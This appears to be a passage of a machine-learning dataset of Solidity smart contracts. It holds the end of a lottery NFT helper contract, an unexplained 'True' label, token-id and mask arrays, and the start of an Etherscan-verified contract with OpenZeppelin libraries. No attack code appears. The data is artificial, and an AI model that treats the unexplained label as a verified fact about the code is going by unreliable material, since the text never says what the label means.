drawStatus = new bool[](_tickets.length);
ticketNumber =new uint8[][](_tickets.length);
for (uint i = 0; i < _tickets.length; i++) {
uint256 _issueIndex = lotteryNFT.getLotteryIssueIndex(_tickets[i]);
// ticket number
uint8[4] memory lotteryNumbers = lotteryNFT.getLotteryNumbers(_tickets[i]);
uint8[] memory temp = new uint8[](4);
temp[0]=lotteryNumbers[0];
temp[1]=lotteryNumbers[1];
temp[2]=lotteryNumbers[2];
temp[3]=lotteryNumbers[3];
ticketNumber[i] = temp;
//winningNumbers
uint8[4] memory _winningNumbers =lottery.getHistoryNumbers(_issueIndex);
if(_winningNumbers[0] == 0)
{
drawStatus[i] = false;
rewardAmounts[i] = 0;
}
else
{
drawStatus[i]=true;
rewardAmounts[i] = lottery.getRewardView(_tickets[i]);
}
claimStatus[i] = lotteryNFT.getClaimStatus(_tickets[i]);
}
}
function historyDatas(uint256[] memory _issueIndexs) external view returns(uint8[][] memory _historyNumbers ,uint256[][] memory _historyAmount) {
_historyNumbers = new uint8[][](_issueIndexs.length);
for (uint i = 0; i < _issueIndexs.length; i++) {
uint8[4] memory _winningNumbers =lottery.getHistoryNumbers(_issueIndexs[i]);
uint8[] memory temp = new uint8[](4);
temp[0]=_winningNumbers[0];
temp[1]=_winningNumbers[1];
temp[2]=_winningNumbers[2];
temp[3]=_winningNumbers[3];
_historyNumbers[i]=temp;
}
_historyAmount = new uint256[][](_issueIndexs.length);
for (uint i = 0; i < _issueIndexs.length; i++) {
uint256 issueIndex = lottery.issueIndex();
if(_issueIndexs[i]>issueIndex-1){
uint256[] memory temp = new uint256[](4);
temp[0]=0;
temp[1]=0;
temp[2]=0;
temp[3]=0;
_historyAmount[i]=temp;
}
else {
uint256[4] memory _winningAmounts =lottery.getHistoryAmounts(_issueIndexs[i]);
uint256[] memory temp = new uint256[](4);
temp[0]=_winningAmounts[0];
temp[1]=_winningAmounts[1];
temp[2]=_winningAmounts[2];
temp[3]=_winningAmounts[3];
_historyAmount[i]=temp;
}
}
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
23533,
29378,
1012,
4012,
2006,
25682,
1011,
6021,
1011,
2570,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
2260,
1025,
10975,
8490,
2863,
6388,
11113,
9013,
16044,
2099,
2615,
2475,
1025,
3075,
7817,
1063,
3853,
2000,
3367,
4892,
1006,
21318,
3372,
17788,
2575,
3643,
1007,
4722,
5760,
5651,
1006,
5164,
3638,
1007,
1063,
2065,
1006,
3643,
1027,
1027,
1014,
1007,
1063,
2709,
1000,
1014,
1000,
1025,
1065,
21318,
3372,
17788,
2575,
8915,
8737,
1027,
3643,
1025,
21318,
3372,
17788,
2575,
16648,
1025,
2096,
1006,
8915,
8737,
999,
1027,
1014,
1007,
1063,
16648,
1009,
1009,
1025,
8915,
8737,
1013,
1027,
2184,
1025,
1065,
27507,
3638,
17698,
1027,
2047,
27507,
1006,
16648,
1007,
1025,
21318,
3372,
17788,
2575,
5950,
1027,
16648,
1011,
1015,
1025,
8915,
8737,
1027,
3643,
1025,
2096,
1006,
8915,
8737,
999,
1027,
1014,
1007,
1063,
17698,
1031,
5950,
1011,
1011,
1033,
1027,
24880,
1006,
21318,
3372,
2620,
1006,
4466,
1009,
8915,
8737,
1003,
2184,
1007,
1007,
1025,
8915,
8737,
1013,
1027,
2184,
1025,
1065,
2709,
5164,
1006,
17698,
1007,
1025,
1065,
1065,
3075,
3647,
2121,
2278,
11387,
1063,
2478,
3647,
18900,
2232,
2005,
21318,
3372,
17788,
2575,
1025,
2478,
4769,
2005,
4769,
1025,
3853,
3647,
6494,
3619,
7512,
1006,
29464,
11890,
11387,
19204,
1010,
4769,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
4722,
1063,
1035,
2655,
7361,
3508,
2389,
13465,
14287,
1006,
19204,
1010,
11113,
2072,
1012,
4372,
16044,
24415,
11246,
22471,
2953,
1006,
19204,
1012,
4651,
1012,
27000,
1010,
2000,
1010,
3643,
1007,
1007,
1025,
1065,
3853,
3647,
6494,
3619,
7512,
19699,
5358,
1006,
29464,
11890,
11387,
19204,
1010,
4769,
2013,
1010,
4769,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
4722,
1063,
1035,
2655,
7361,
3508,
2389,
13465,
14287,
1006,
19204,
1010,
11113,
2072,
1012,
4372,
16044,
24415,
11246,
22471,
2953,
1006,
19204,
1012,
4651,
19699,
5358,
1012,
27000,
1010,
2013,
1010,
2000,
1010,
3643,
1007,
1007,
1025,
1065,
3853,
3647,
29098,
17597,
1006,
29464,
11890,
11387,
19204,
1010,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
4722,
1063,
1013,
1013,
3647,
29098,
17597,
2323,
2069,
2022,
2170,
2043,
4292,
2019,
3988,
21447,
1010,
1013,
1013,
2030,
2043,
25141,
3436,
2009,
2000,
5717,
1012,
2000,
3623,
1998,
9885,
2009,
1010,
2224,
1013,
1013,
1005,
3647,
2378,
16748,
11022,
8095,
21293,
5897,
1005,
1998,
1005,
3647,
3207,
16748,
11022,
8095,
21293,
5897,
1005,
1013,
1013,
14017,
10606,
2102,
1011,
4487,
19150,
1011,
2279,
1011,
2240,
4098,
1011,
2240,
1011,
3091,
5478,
1006,
1006,
3643,
1027,
1027,
1014,
1007,
1064,
1064,
1006,
19204,
1012,
21447,
1006,
4769,
1006,
2023,
1007,
1010,
5247,
2121,
1007,
1027,
1027,
1014,
1007,
1010,
1000,
3647,
2121,
2278,
11387,
1024,
14300,
2013,
2512,
1011,
5717,
2000,
2512,
1011,
5717,
21447,
1000,
1007,
1025,
1035,
2655,
7361,
3508,
2389,
13465,
14287,
1006,
19204,
1010,
11113,
2072,
1012,
4372,
16044,
24415,
11246,
22471,
2953,
1006,
19204,
1012,
14300,
1012,
27000,
1010,
5247,
2121,
1010,
3643,
1007,
1007,
1025,
1065,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
/**
*Submitted for verification at Etherscan.io on 2021-07-12
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// File: @openzeppelin/contracts/utils/Context.sol
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/introspection/IERC165.sol
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Metadata.sol
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// File: @openzeppelin/contracts/introspection/ERC165.sol
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/utils/EnumerableSet.sol
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
